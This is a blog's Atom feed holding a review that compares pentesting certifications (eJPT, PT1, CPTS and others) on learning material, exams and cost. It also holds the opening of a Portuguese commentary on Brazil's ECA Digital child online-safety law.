<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://www.baioc.dev/feed.xml" rel="self" type="application/atom+xml" /><link href="https://www.baioc.dev/" rel="alternate" type="text/html" /><updated>2026-04-06T03:46:07+00:00</updated><id>https://www.baioc.dev/feed.xml</id><title type="html">baioc</title><author><name>Gabriel B. Sant&apos;Anna</name></author><entry><title type="html">eJPT vs PT1 vs CPTS (vs PNPT vs OSCP)</title><link href="https://www.baioc.dev/review/pentest-certs/" rel="alternate" type="text/html" title="eJPT vs PT1 vs CPTS (vs PNPT vs OSCP)" /><published>2026-04-02T00:00:00+00:00</published><updated>2026-04-02T00:00:00+00:00</updated><id>https://www.baioc.dev/review/pentest-certs</id><content type="html" xml:base="https://www.baioc.dev/review/pentest-certs/"><![CDATA[<p>For a couple years now, I’ve been learning and practicing offensive security / penetration testing.
This is a field in which the (mostly US-based) industry is way ahead of traditional education, and (as in most of IT) pratical experience is valued higher than academic study.
In some cases, practical courses and certification exams act as a suitable readiness signal for professional work, so pentesting certifications have become quite popular.</p>

<p>Since those practical courses and certifications seemed to be the recommended path to learning offensive security, I ended up going through some of them.
In this blog post I’ll review and compare INE’s <strong>eJPT</strong>, TryHackMe’s <strong>PT1</strong>, and HackTheBox’s <strong>CPTS</strong>; and provide comment on some other options and why I didn’t pick them.
While most online reviews I’ve seen focus only on the certification exams, I’ve decided to put a stronger emphasis on each option’s learning material.
If you’re here for a quick summary, jump to the last section of this post.</p>

<h2 id="picking-a-course">Picking a Course</h2>

<p>My goal here is to learn, preferably through hands-on practice that is as realistic as possible.
Cost to benefit ratio can be a factor too, since some of these courses are quite expensive.</p>

<p>After looking into the available options, one recommendation that always comes up is OffSec’s Offensive Security Certified Professional (the <strong>OSCP</strong>).
While the certification is renowed and often sought in job descriptions, reviews point to the learning material being outdated and even lacking when brought in the context of their <a href="https://www.offsec.com/pricing/">pricing</a>: 1750 USD for 90 days of access to course-specific learning material and a single exam attempt (students might be able to get a 10% discount).
Combined with the bad reviews, that pricing was just outrageous, and I decided to skip the OSCP for something else.</p>

<p>In comparison, the Certified Penetration Testing Specialist (<strong>CPTS</strong>) certification from HackTheBox is often considered to be technically deeper and is provided at a much more accessible price.
In <a href="https://academy.hackthebox.com/preview/certifications">HTB Academy</a>, you can get one entire year of acess to ALL tier II modules, plus a CPTS exam voucher (which includes two attempts), for 490 USD.
Students can pay 8 USD per month for the same content, plus 210 USD for the exam voucher.
In both cases, you get permanent lifetime access to all learning modules you complete, including any future updates they receive.</p>

<p>Both the OSCP and the CPTS are considered very challenging exams, so the community often recommends that people build up knowledge and practice with some of the other junior-level courses.
They often point to <a href="https://ine.com/security/certifications/ejpt-certification">INE’s eJPT</a> or <a href="https://certifications.tcm-sec.com/pnpt/">TCM Security’s PNPT</a>.
In order to capitalize on the demand for security certifications, TryHackMe recently released <a href="https://tryhackme.com/certification/junior-penetration-tester">the PT1</a>, which is another option.</p>

<p>Based on online reviews, TCM’s PNPT seemed superior to the eJPT in all aspects except price, costing 500 USD (with 12 months of course access) as opposed to 300 USD for the eJPT (for 3 months of course access).
Given the longer access, more complete material (Active Directory in the course, plus a written report and live debrief as part of the exam) and better reviews, I chose the PNPT.
Unfortunately, TCM Security’s check-out process was broken at the time.
To make things worse, they decided, unprompted, to address people who had failed purchases, leaking everyone’s email to each other while doing so:</p>

<figure class=""><a href="/assets/images/tcm-fail.jpg" class="image-popup"><img src="/assets/images/tcm-fail.jpg" alt="TCM support email" /></a></figure>

<p>While this wasn’t a serious data leak (unlike some <a href="https://dpnetwork.org.uk/email-data-breaches/">other email address -related incidents</a>), it simply looks bad, and <strong>I definitely expected more from a security company</strong>.
After this, I made sure to send my money the other way, and paid for INE’s eJPT.
As it turns out, this wasn’t a bad idea, since I got a deal for 12-month access to both the eJPT and INE’s cloud computing training, and having the eJPT later granted me free access to TryHackMe’s PT1.
All that for 200 USD was a good deal.</p>

<h2 id="ine-ejptv2">INE eJPTv2</h2>

<h3 id="ejpt-learning-material">eJPT Learning Material</h3>

<p>INE’s learning course leading up to the eJPTv2 exam is called “Penetration Testing Student”.
Here’s an outline of the content:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Assessment Methodologies
- Information Gathering
- Footprinting &amp; Scanning
- Enumeration
- Vulnerability Assessment

Host &amp; Networking Auditing
- Auditing Fundamentals

Host &amp; Network Penetration Testing
- Host-Based Attacks
- Network-Based Attacks
- The Metasploit Framework
- Exploitation
- Post-Exploitation
- Social Engineering

Web Application Penetration Testing
- Introduction to the Web &amp; HTTP Protocol
</code></pre></div></div>

<p>The learning material is delivered as a series of videos recorded by two different instructors, Alexis Ahmed and Josh Mason.
Most sections also include a quizz and a practical lab exercise, sometimes with a PDF writeup.
INE estimates over 100 hours of content in this course.
No tool setup is required from students, as all labs can be done from a virtual machine acessed via your browser, within the INE platform.
After your subscription expires, you lose access to the material, including any completed modules.</p>

<p>If you read reviews on the eJPT from a couple of years ago or before, there’s a pretty strong consensus that some modules are very badly delivered.
Unfortunately, I have to agree.
These bits fit awkwardly into the course structure, their lab exercises are either just repeating what was done in the video or appear completely unrelated to anything in the course, and it’s hard to take anything out of them.
These modules were taught by Josh Mason, and, after years of bad reviews, INE had Alexis go and re-do them.
Since this transition happened while I was taking the course, I got to see the before and after.
Honestly, it didn’t improve that much, and both the Web and Auditing modules are still lacking, in my opinion.</p>

<p>My main observation on this course is that it is <strong>massive and repetitive, while not providing that much depth</strong>.
Labs are often just a repeat of what the instructor did in the video, and I was often wondering “wait, didn’t we go through this already?”.
Despite the length of the course, exploit techniques being taught never go much beyond running Metasploit modules.
Overall, I’d say that the &gt;100 hours of content could be cut to 40 hours with no real loss to students.</p>

<p>On the positive side, there are things which the course does a very good job at teaching:</p>
<ul>
  <li><strong>Pentesting methodology</strong> - while INE’s course structure appears to have been put together a bit randomly, with some parts stitched out of order, Alexis does a great job at contextualizing and referring everything back to an overall pentesting methodology: passive &amp; active reconnaissance, vulnerability analysis, exploitation, post-exploitation &amp; cleanup. Nothing deep, really, but for entry-level pentesting that’s probably one of the most important things to learn, and the course teaches it well.</li>
  <li><strong>Nmap</strong> - it’s the industry standard for network enumeration and port &amp; service scanning, and the course does cover most of its functionality, including nmap scripts which can be used for deeper enumeration (and even exploitation).</li>
  <li><strong>Metasploit</strong> - a great tool with lots of modules, and which should be covered in any entry-level pentesting course. The material covers Metasploit’s overall architecture, its modules, some useful plugins, payload generation &amp; deployment, creating and using automation scripts, the MSF database, port forwarding, separating workspaces, etc. The course does a great job at covering all that, but I think it relies too much on this single tool.</li>
</ul>

<p>It also goes through the basics of TCP/IP networks and HTTP &amp; the web, but I already had those foundations covered so I wasn’t really the target audience.</p>

<h3 id="ejpt-certification-exam">eJPT Certification Exam</h3>

<p>In order to get the eJPT certification, you’ll need to pass a practical exam.
The exam needs to be completed in 48 hours or less, and can be done entirely on a browser (just like all the labs in the course).</p>

<p>I can’t give too many details on the exam environment, but there’s really nothing in it that’s not covered in the course: just follow the pentesting methodology and apply the enumeration &amp; exploitation tools you’ve been taught.
The exam guidelines have a “Recommended Tools” section, and anything else you’ll need is probably listed there.
It was actually quite fun since, for once, it felt like a more realistic, even if still basic, environment to invade.</p>

<p>During the exam, you’ll need to answer questions along the lines of “what vulnerability can be exploited on host X?”, “what is the password for user X on service Y?”, and so on.
I don’t remember there being any confusion as to how to format the answers, so it’s either select &amp; click or it tells you the expected format to be filled in.
These make your final score, along with some obscure analysis that happens in the background to make sure you’ve covered the domains being evaluated.
This background analysis might result in lost points, even if you answer every question correctly.
In order to pass the exam, your overall score must be at least 70%, and the domains are:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Host &amp; Network Auditing
- Transfer files to and from target
- Enumerate system information on target
- Compile information from files on target
- Gather user account information on target
- Gather hash/password information from target
- Enumerate network information from files on target

Assessment Methodologies
- Locate endpoints on a network
- Identify vulnerabilities in services
- Identify operating system of a target
- Identify open ports and services on a target
- Extract company information from public sources
- Gather technical information from public sources
- Gather email addresses from public sources
- Evaluate information and criticality or impact of vulnerabiltiies

Host &amp; Network Pentesting
- Conduct hash cracking
- Identify and modify exploits
- Conduct brute-force password attacks
- Conduct exploitation with metasploit
- Demonstrate pivoting by adding a route
- Demonstrate pivoting by port forwarding

Web Application Pentesting
- Conduct webapp reconnaissance
- Conduct brute-force login attack
- Locate hidden file and directories
- Identify vulnerabilities in webapps
</code></pre></div></div>

<p>The <strong>eJPTv2 certification expires 3 years after you obtain it</strong>.</p>

<h2 id="tryhackme-pt1">TryHackMe PT1</h2>

<p>In 2025, TryHackMe released their PT1 pentesting certification.
At that point, I had already started the CPTS course, but TryHackMe was giving out PT1 vouchers for free for people who had similar entry-level certs, and that included the eJPT.
The giveaway was probably done for marketing purposes, mostly to get people to review and compare the PT1 to its competitors.
In any case, I filled out a form and soon received a voucher for the PT1 exam, plus 3 months of subscriber access to TryHackMe - all this would normally cost £300 (approximately 395 USD).</p>

<h3 id="pt1-learning-material">PT1 Learning Material</h3>

<p>The best part about this one’s learning material is that you’re not tied to the recommended PT1 preparation path.
TryHackMe only has two tiers, free and paid, and the paid subscription gives you access to the entire platform (with the sole exception of SOC &amp; cloud simulators, I think).
Of course, the platform recommends a few paths and modules to learn from before taking the exam, as well as a list of CTF-like labs to practice with:</p>

<table>
  <thead>
    <tr>
      <th>Learning Path</th>
      <th>Practice CTFs</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><img src="/assets/images/pt1-learn.png" alt="PT1 learning path" /></td>
      <td><img src="/assets/images/pt1-practice.png" alt="PT1 practice CTFs" /></td>
    </tr>
  </tbody>
</table>

<p>If you go through the whole learning path, from the very beginning, I think you’ll end up with quite a <strong>strong and complete foundation</strong>: software basics, security concepts, CLI usage, Linux &amp; Windows fundamentals, introductory cryptography, network traffic analysis, SLQ, DNS &amp; HTTP &amp; other parts of the web, all with some exposure to both defensive &amp; offensive security tools.
TryHackMe’s platform provides content as short pieces of text followed by hands-on practice, and even if most labs are not realistic &amp; more CTF-like, I’d still recommend it for entry-level students - even if <a href="https://www.youtube.com/watch?v=s1TNS1wN920">recent news made more experienced folks reverse their previously positive recommendations of TryHackMe</a>.
You can do the practical pieces using the platform’s brower-accessible VM, or your own machine connected to their VPN network.</p>

<p>Since I had the foundations covered already, as well as the network &amp; host pentesting practice from the eJPT, I focused on what hadn’t been taught in the previous course, notably:</p>
<ul>
  <li><strong>Hacking web applications</strong></li>
  <li><strong>Windows Active Directory</strong></li>
  <li><strong>Report writing</strong></li>
</ul>

<p>For the first two, I think TryHackMe does a pretty good job.
I was honestly surprised with the depth provided in the Active Directory content (e.g. <a href="https://tryhackme.com/module/hacking-active-directory">this module</a> and the individual rooms in the PT1 recommended learning).
The webapp portion is also miles ahead of anything in the eJPT, but in my opinion still wasn’t sufficient for the PT1 exam, and I recommend the (totally free) <a href="https://portswigger.net/web-security/all-topics">PortSwigger Academy</a> as either a complement or a straight up replacement.
I’ll cover report writing in the next section.</p>

<h3 id="pt1-certification-exam">PT1 Certification Exam</h3>

<p>The PT1 certification exam is split into three separate environments: one focused on attacking a modern web application, another for testing network security &amp; exposed vulnerable services, and a third to exploit Active Directory.
Each environment is completely independent of the others, and your results for each one must be submitted in the form of an executive summary, writeups for each vulnerability you’ve found, as well as a captured flag associated with each vulnerability.
All this must be done and submitted in up to 48 hours, just like the eJPT.</p>

<p>The network security section (worth 360 points) is like a mini eJPT, but easier.
I’m not sure if the AD environment (240 points) was easy as well, or if I just took good notes on the AD learning modules in TryHackMe - like I said before, these are great and cover a lot of different attacks.
The hardest part is definitely the web application pentest (worth 400 points), which focuses on finding real-life application security bugs as opposed to the “full-pwn” style of CTFs &amp; TryHackMe labs.
Like I said before, I think TryHackMe’s recommended content on webapp security does not prepare you well enough for the exam.
Pair that with the fact that some vulnerabilities don’t yield flags (and in their awkward reporting system, only vulnerabilities with flags yield points)… and this is where a good chunk of reviewer complaints come from.</p>

<p>TryHackMe tried to add a more realistic spin to their exam by requesting a limited form of report writing, and I think they’ve completely messed up this part.
Unlike a real-life pentesting report, you’re limited to filling in some text-only fields the platform provides you with.
Vulnerability writeups start by selecting a particular type of vulnerability (e.g. “SQL Injection”, “Broken Business Logic”, etc) from a drop-down menu, filling in a CVSS score and then the captured flag.
Then, you’re supposed to describe the vulnerability and how it can be exploited.
Finally, you should add your recommendations on how to remedy these security issues.
This is all done in a very limiting form factor: you’re not allowed to change the report structure, add figures, and even formatting is useless since ultimately it’s an LLM that will read your “report”.</p>

<p>That’s right, in order to give out “instant results”, TryHackMe uses LLMs to grade your exams submission.
If we trust some of the messages on their community Discord channel, this does not apply to the flags or categories associated to each identified vulnerability.
Still, I think it completely misses the point of why people would want to do report writing in a pentesting exam.
If the goal is to learn how to write a high-quality professional report, I’d much rather have a human go through it than receive instant results.
I want to know if my PDF looks professional, if my executive summary is well written, if my vulnerability descriptions are clear, if another professional would agree on my CVSS ratings and CWE categories, and if my exploit steps can be replicated.
An LLM provides me with none of those things, and makes me instantly distrust whatever results come out of TryHackMe’s assessment.</p>

<figure class=""><a href="/assets/images/thm-echo.png" class="image-popup" title="This is the type of useless feedback that TryHackMe’s ‘Echo AI’ gives you. I’m not convinced they can do any better in an exam.
"><img src="/assets/images/thm-echo.png" alt="TryHackMe's Echo AI" /></a><figcaption>
      This is the type of useless feedback that TryHackMe’s ‘Echo AI’ gives you. I’m not convinced they can do any better in an exam.

    </figcaption></figure>

<p>If we’re being honest, this is a cost-cutting measure and/or a way to attract attention given the current hype around AI.
Given that the PT1 exam + training bundle sits at approximately 395 USD, it’s not even good at cutting costs, and (as in most AI integrations) the overall result is a worse experience for the user / consumer.</p>

<p>Like the eJPTv2, the PT1 certification expires 3 years after you obtain it.</p>

<h2 id="hackthebox-cpts">HackTheBox CPTS</h2>

<h3 id="cpts-learning-material">CPTS Learning Material</h3>

<p>HackTheBox is known for their “Labs” platform.
It used to be the case that you’d need to “hack your way in” before even being able to create an account there.
Their machines are harder, more realistic, and exploit more recent vulnerabilities than what you’d see in other security training platforms.
It’s not uncommon to see beginners being told to start learning in TryHackMe, and only go to HackTheBox once they’ve improved their skills.</p>

<p><strong>HackTheBox Academy</strong>, however, is a newer offering focused on providing a better learning experience.
The material there is mostly text-based (as opposed to INE and TCM, which provide video-form content), with added hands-on practice machines in every module (similarly to TryHackMe).
I think the advice I mentioned in the last paragraph is now outdated: you can start in HackTheBox Academy, and then move to HackTheBox Labs (a.k.a. “the main platform”).</p>

<p>The material in HTB Academy is simply the best I’ve come across.
I prefer text (and some diagrams) over video when it comes to studying, so maybe I’m biased, but I’ve found it both more complete and to a deeper technical level than the pentesting material from INE and TryHackMe.
It also helps that, among their competitors, <strong>HackTheBox is the only one which provides lifetime access to content and labs</strong>: I’m no longer paying them anything, but I can still log in to HTB Academy and go through the CPTS learning path, and even spin up entire Active Directory environments to practice with.
(I hear that TCM Security used to provide lifetime access to their content, but eventually switched to a subscription model as well.)
Each module you complete also gives you a small amount of “cubes”, a virtual currency which can be used to purchase other modules in HTB Academy.</p>

<p>There’s not much else to say about the CPTS learning material.
Everything in the other courses is taught here as well, but with more detail.
It also covers some things which don’t show up in either the eJPT or the PT1, notably more complex network pivoting, lots of different injection techniques, webapp filter bypassing, more advanced privilege escalation exploits, a whole lot of Active Directory attacks, and realistic pentest documentation &amp; reporting.
The entire list of modules in the learning path is shown below:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTB Academy modules:
- Penetration Testing Process
- Getting Started
- Network Enumeration with Nmap
- Footprinting
- Information Gathering - Web Edition
- Vulnerability Assessment
- File Transfers
- Shells &amp; Payloads
- Using the Metasploit Framework
- Password Attacks
- Attacking Common Services
- Pivoting, Tunneling, and Port Forwarding
- Active Directory Enumeration &amp; Attacks
- Using Web Proxies
- Attacking Web Applications with Ffuf
- Login Brute Forcing
- SQL Injection Fundamentals
- SQLMap Essentials
- Cross-Site Scripting (XSS)
- File Inclusion
- File Upload Attacks
- Command Injections
- Web Attacks
- Attacking Common Applications
- Linux Privilege Escalation
- Windows Privilege Escalation
- Documentation &amp; Reporting
- Attacking Enterprise Networks

Knowledge domains:
- Penetration testing processes and methodologies
- Information gathering &amp; reconnaissance techniques
- Attacking Windows &amp; Linux targets
- Active Directory penetration testing
- Web application penetration testing
- Manual &amp; automated exploitation
- Vulnerability assessment
- Pivoting &amp; Lateral Movement
- Post-exploitation enumeration
- Windows &amp; Linux Privilege escalation
- Vulnerability/Risk communication and reporting
</code></pre></div></div>

<h3 id="cpts-certification-exam">CPTS Certification Exam</h3>

<p>The CPTS exam is, without exaggeration, <strong>one of the most technically challenging things I’ve ever done</strong>.
Within 10 days, you have to invade and exploit a realistic environment with multiple hosts and networks.
You’re given rules of engagement, a well defined scope, and VPN access (or, instead of the VPN, web-based access to an attack VM).
Results are submitted in the form of captured flags alongside a professional-grade pentesting report, which includes a detailed walkthrough of the whole engagement, descriptions &amp; remmediations for each vulnerability, multiple summaries (executive summary, findings, overall recommendations, attack chain overview) and reports on all of the affected networks, hosts, services, domains and users.</p>

<p>While I would love to discuss the exam environment, its confidentiality requirements would make anything I write about it end up looking like the E██████ files.
There are a total of 14 flags to capture, and you need to get at least 12 to pass the exam.
I actually failed my first attempt after capturing only 8 flags, and spent most of my second attempt writing my (84 pages long) report after getting the other 4 that I needed to pass.
The environment was the same one on both attempts, and included attacks and techniques from many parts of the learning material.</p>

<p>The only negative aspects of the CPTS exam for me were:</p>
<ol>
  <li>Unlike in the eJPT and the PT1, <strong>you can’t start the CPTS exam until you complete the entire learning path in HTB Academy</strong>. This means that more experienced folks are unlikely to do it since they’ll need to revisit many concepts, and this can feel very repetitive.</li>
  <li><strong>The exam takes a lot of time</strong>. Unlike with the other exams, which fit in a weekend, I had to use vacation days just to get enough time for me to go through the whole exam. Even if I think it was ultimately worth it since (a) I had a lot of fun and (b) I passed the exam; this is something that not everyone can find the time to do.</li>
</ol>

<p>Finally, and unlike the other two certifications I’m reviewing, the CPTS does not expire.</p>

<h2 id="comparison-and-conclusion">Comparison and Conclusion</h2>

<p>To summarize my comparison between the eJPT, the PT1 and the CPTS (and adding a few alternatives as well, but basing those only on other people’s reviews):</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>eJPT</th>
      <th>BSCP</th>
      <th>PT1</th>
      <th>PNPT</th>
      <th>OSCP</th>
      <th>CPTS</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Pentesting methodology</td>
      <td>✅</td>
      <td>❌</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
    </tr>
    <tr>
      <td>Network &amp; host attacks</td>
      <td>✅</td>
      <td>❌</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
    </tr>
    <tr>
      <td>Web application security</td>
      <td>✅<sup>0</sup></td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
    </tr>
    <tr>
      <td>Active Directory</td>
      <td>❌</td>
      <td>❌</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
    </tr>
    <tr>
      <td>Report writing</td>
      <td>❌</td>
      <td>❌</td>
      <td>✅<sup>1</sup></td>
      <td>✅</td>
      <td>✅</td>
      <td>✅</td>
    </tr>
    <tr>
      <td>Content format</td>
      <td>video</td>
      <td>text</td>
      <td>text</td>
      <td>video</td>
      <td>video</td>
      <td>text</td>
    </tr>
    <tr>
      <td>Access to learning content</td>
      <td>until subscription ends</td>
      <td>lifetime access</td>
      <td>until subscription ends</td>
      <td>until subscription ends</td>
      <td>until subscription ends</td>
      <td>lifetime access for completed modules, otherwise until subscription ends</td>
    </tr>
    <tr>
      <td>Cost (USD, content only)</td>
      <td>$70/month or $350/year</td>
      <td>free on PortSwigger Academy</td>
      <td>$17/month or $126/year ($102/year for students)</td>
      <td>$30/month or $300/year</td>
      <td>not available</td>
      <td>$18/month ($8/month for students)</td>
    </tr>
    <tr>
      <td>Cost (USD, content + exam)</td>
      <td>$300 (3 months + exam)</td>
      <td>$100 for exam + $500 for 1 year of Burp Pro (needed for the exam)</td>
      <td>$395 (3 months + exam), or $337 if you’re already a subscriber</td>
      <td>$500 (12 months + exam)</td>
      <td>$1750 for 90 days, or $2750 for 1 year (with more labs and an extra exam attempt)</td>
      <td>$490 (12 months + exam)</td>
    </tr>
    <tr>
      <td>Certification expires</td>
      <td>after 3 years</td>
      <td>does not expire</td>
      <td>after 3 years</td>
      <td>does not expire</td>
      <td>OSCP does not expire, OSCP+ after 3 years</td>
      <td>does not expire</td>
    </tr>
    <tr>
      <td>Do I recommend the learning material?</td>
      <td>❌</td>
      <td>✅</td>
      <td>✅</td>
      <td>❔<sup>2</sup></td>
      <td>❌<sup>3</sup></td>
      <td>✅</td>
    </tr>
  </tbody>
</table>

<p><sup>0</sup>It could be argued that the eJPT does cover web, even if it’s quite lacking.<br />
<sup>1</sup>Although report writing on the PT1 exam was terrible, it is covered in the learning material.<br />
<sup>2</sup>I’ve heard good reviews about TCM Security, but I couldn’t use their platform myself.<br />
<sup>3</sup>OSCP reviews are pretty much unanimous: the course by itself is not worth the price tag.<br /></p>

<p>It used to be the case that, in order to learn offensive security / pentesting, the most frequently recommended path would consist of: learn in TryHackMe, practice in HackTheBox, and get OSCP-certified to improve your chances of getting hired.
Maybe the OSCP part is still true today (mostly due to outdated hiring practices), but what I recommend instead is:</p>
<ol>
  <li>If you don’t know for sure whether or not you’ll find this kind of stuff interesting, start with the free learning content before deciding:
    <ul>
      <li>For Unix/Linux basics, go through the bandit wargame from <a href="https://overthewire.org/wargames/">OverTheWire</a></li>
      <li>Security fundamentals and GRC from <a href="https://www.isc2.org/landing/1mcc">ISC2’s CC program</a> (training is free)</li>
      <li>Computer networks and network security concepts from Cisco Network Academy</li>
      <li>For web-based application security and attacks, see PortSwigger Academy</li>
      <li>For practical training labs (incl. pentesting), start with the free content on TryHackMe</li>
      <li>I’ve heard good things about <a href="https://pwn.college/">Pwn College</a>, which is also free</li>
    </ul>
  </li>
  <li>Complete the CPTS learning path in HackTheBox Academy.
    <ul>
      <li>Use a student subscription if you can</li>
      <li>Otherwise, the “silver” annual plan on HTB Academy gets you the content, an exam voucher, and if you have enough time you can also start other modules unrelated to the CPTS (such as defensive security, more webapp content, and even AI red teaming)</li>
      <li>A cheaper alternative involves paying for a couple months of the “platinum” monthly plan, and using the cubes you get with that to unlock lifetime access to the whole CPTS path (but not the exam, or any other modules in HTB Academy)</li>
    </ul>
  </li>
  <li>In case you’re looking for a job doing this type of stuff, look at what certifications (if any) are being requested in job openings. Only then consider paying for a certification exam.</li>
</ol>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="review" /><category term="cybersecurity" /><summary type="html"><![CDATA[I took a few pentesting courses & certifications, so you don't have to]]></summary></entry><entry><title type="html">Anotações sobre o ECA Digital / Lei Felca</title><link href="https://www.baioc.dev/rant/eca-digital/" rel="alternate" type="text/html" title="Anotações sobre o ECA Digital / Lei Felca" /><published>2026-03-27T00:00:00+00:00</published><updated>2026-03-31T00:00:00+00:00</updated><id>https://www.baioc.dev/rant/eca-digital</id><content type="html" xml:base="https://www.baioc.dev/rant/eca-digital/"><![CDATA[<p>Deixo aqui minhas observações sobre o ECA Digital, também conhecido como Lei Felca.
As fontes são públicas:</p>
<ul>
  <li><a href="https://www.youtube.com/watch?v=FpsCzFGL1LE">Vídeo-Denúncia de Felca sobre a Adultização</a></li>
  <li><a href="https://www.camara.leg.br/proposicoesWeb/fichadetramitacao?idProposicao=2477340">Projeto de Lei PL 2628/2022</a></li>
  <li><a href="https://www.theguardian.com/news/2023/apr/27/how-facebook-and-instagram-became-marketplaces-for-child-sex-trafficking">Investigação do The Guardian sobre exploração sexual nas plataformas da Meta</a></li>
  <li><a href="https://www.reuters.com/legal/zuckerberg-meta-are-sued-failing-address-sex-trafficking-child-exploitation-2023-03-21/">Reportagem da Reuters sobre processo contra a Meta</a></li>
  <li><a href="https://www.theguardian.com/technology/2026/mar/24/meta-new-mexico-jury">Condenação da Meta em julgamento nos Estados Unidos</a></li>
  <li><a href="https://www.youtube.com/watch?v=w64FybZifnw">Audiência pública sobre o ECA Digital, com presença de representantes das big techs</a></li>
  <li><a href="https://www.intercept.com.br/2025/08/14/deputado-bolsonarista-emenda-lobista-meta-lei-criancas-internet/">Reportagem do The Intercept apontando lobbying da Meta no Brasil</a></li>
  <li><a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/Lei/L15211.htm">Lei 15.211/2025, conhecida como ECA Digital ou Lei Felca</a></li>
  <li><a href="https://discord.com/press-releases/update-on-security-incident-involving-third-party-customer-service">Incidente de vazamento de dados usados para verificação de idade no Discord</a></li>
  <li><a href="https://www.tecmundo.com.br/seguranca/411604-a-lei-felca-pode-bloquear-o-linux-no-brasil.htm">Artigo do Ayub sobre possibilidade de bloqueio do Linux no Brasil, devido à nova lei</a></li>
  <li><a href="https://itsfoss.com/news/midnightbsd-age-verification/">MidnightBSD anuncia bloqueio de acessos vindos do Brasil</a></li>
  <li><a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2026/Decreto/D12880.htm">Decreto nº 12.880, que regulamenta o ECA Digital</a></li>
  <li><a href="https://www.gov.br/anpd/pt-br/assuntos/eca-digital/mecanismos-confiaveis-de-afericao-de-idade-orientacoes-preliminares.pdf/view">Orientações preliminares da ANPD sobre aferição de idade</a></li>
  <li><a href="https://www.gov.br/anpd/pt-br/centrais-de-conteudo/documentos-tecnicos-orientativos/radar-tecnologico-5-mecanismos-de-afericao-de-idade.pdf">Documento técnico da ANPD sobre alguns mecanismos de aferição de idade</a></li>
  <li><a href="https://www.gov.br/anpd/pt-br/assuntos/eca-digital">Cronograma de implantação da ANPD, quanto à divulgação de normas e fiscalização da lei</a></li>
  <li><a href="https://www.youtube.com/watch?v=gG0cPB_H5fM&amp;list=PLQq8-9yVHyOZzFv1_Pl7Gq-ZO3ax-vdpH">Live gravada do evento de inauguração da nova lei</a></li>
</ul>

<p>Como trabalho em uma empresa que pode ser afetada pela nova lei, destaco que <strong>esta é minha leitura, e não representa de forma alguma a posição de qualquer empregador, atual ou anterior</strong>.</p>

<p>Já aviso de antemão que o texto é mais longo do que de costume.
Minha desculpa é que a lei e o decreto são complexos, o assunto exposto por Felca é sensível e, como diria Blaise Pascal, o texto é longo pois não tive tempo livre suficiente para me dar o prazer de torná-lo mais curto.</p>

<h2 id="felca-e-a-adultização">Felca e a Adultização</h2>

<p>Em Agosto de 2025, o Youtuber Felca publicou <a href="https://www.youtube.com/watch?v=FpsCzFGL1LE">um vídeo</a> criticando o fenômeno da adultização e exposição de crianças e adolescentes na internet.
O vídeo tem duração de aproximadamente 50 minutos e expõe uma realidade revoltante.
Nele, Felca descreve dois casos notáveis onde meninas menores de idade tiveram seus corpos explorados através das redes sociais.</p>

<p>O Youtuber demonstra como os algoritmos do <strong>Instagram</strong> detectam tópicos de interesse de certos usuários e passam a incentivar, neste caso, o consumo e compartilhamento de conteúdo que exibe crianças de forma cada vez mais sexualizada.
Na segunda metade do vídeo, Felca convida uma psicóloga para falar sobre efeitos que a exposição às redes sociais tem no desenvolvimento da criança e do adolescente.
Por fim, declara que já formalizou denúncias quanto ao que encontrou durante a produção do vídeo, e sugere que o telespectador faça o mesmo sempre que se deparar com crianças expostas de forma indecente nas redes.</p>

<p>A intenção de Felca era de conscientizar a sociedade quanto ao fenômeno da adultização nas redes sociais.
Me parece claro que a crítica é voltada a dois grupos:</p>
<ul>
  <li><strong>Aos pais</strong>, que geralmente não tomam ciência do que seus filhos fazem nas redes sociais. Nos piores casos expostos por Felca, os adultos “groomers” ativamente incentivam e lucram com a produção e divulgação de conteúdos sexualizando o corpo das crianças pelas quais são responsáveis. Segundo Felca, muitas vezes isso ocorre sem punição.</li>
  <li><strong>Às plataformas de rede social</strong>, que criam os mecanismos de monetização deste tipo de conteúdo e, acima de tudo, parecem se negar ou serem incapazes de moderar suas redes.</li>
</ul>

<p>Ainda no primeiro minuto do vídeo, Felca diz:</p>
<blockquote>
  <p>“eu me comprometo com qualquer consequência que possa advir de mexer nesse vespeiro”</p>
</blockquote>

<p>Não acho que ele imaginava a proporção que sua denúcia geraria, mas o vídeo foi muito popular e hoje registra mais de 50 milhões de visualizações.
É graças à reação a este vídeo que a lei do ECA Digital, sancionada em 2025, ganhou o apelido de “Lei Felca”.</p>

<h2 id="abuso-nas-redes-sociais">Abuso nas Redes Sociais</h2>

<p>Acho que Felca fez bem ao utilizar seu alcance para denunciar os absurdos que viu.
Dito isso, o que expôs não é novidade - em especial quanto à negligência de moderação das plataformas de redes sociais.</p>

<p><a href="https://www.theguardian.com/news/2023/apr/27/how-facebook-and-instagram-became-marketplaces-for-child-sex-trafficking">Uma investigação iniciada em 2021</a> pelo The Guardian aponta que as <strong>plataformas da Meta (Facebook e Instagram)</strong> são as mais utilizadas para a exploração sexual de crianças.
Existe um argumento a ser feito de que crimes são cometidos em todas as plataformas, mas as da Meta são as mais populares de forma geral.
Dada a maior popularidade, é inevitável que os casos sejam mais frequentes nessas plataformas.</p>

<p>Entretanto, em vários casos a Meta é acusada de negligência.
Segundo o The Guardian: as vítimas se sentem ignoradas, moderadores reportam que casos óbvios não são escalados, e promotores de justiça alegam que a Meta atrasa os processos de investigação.
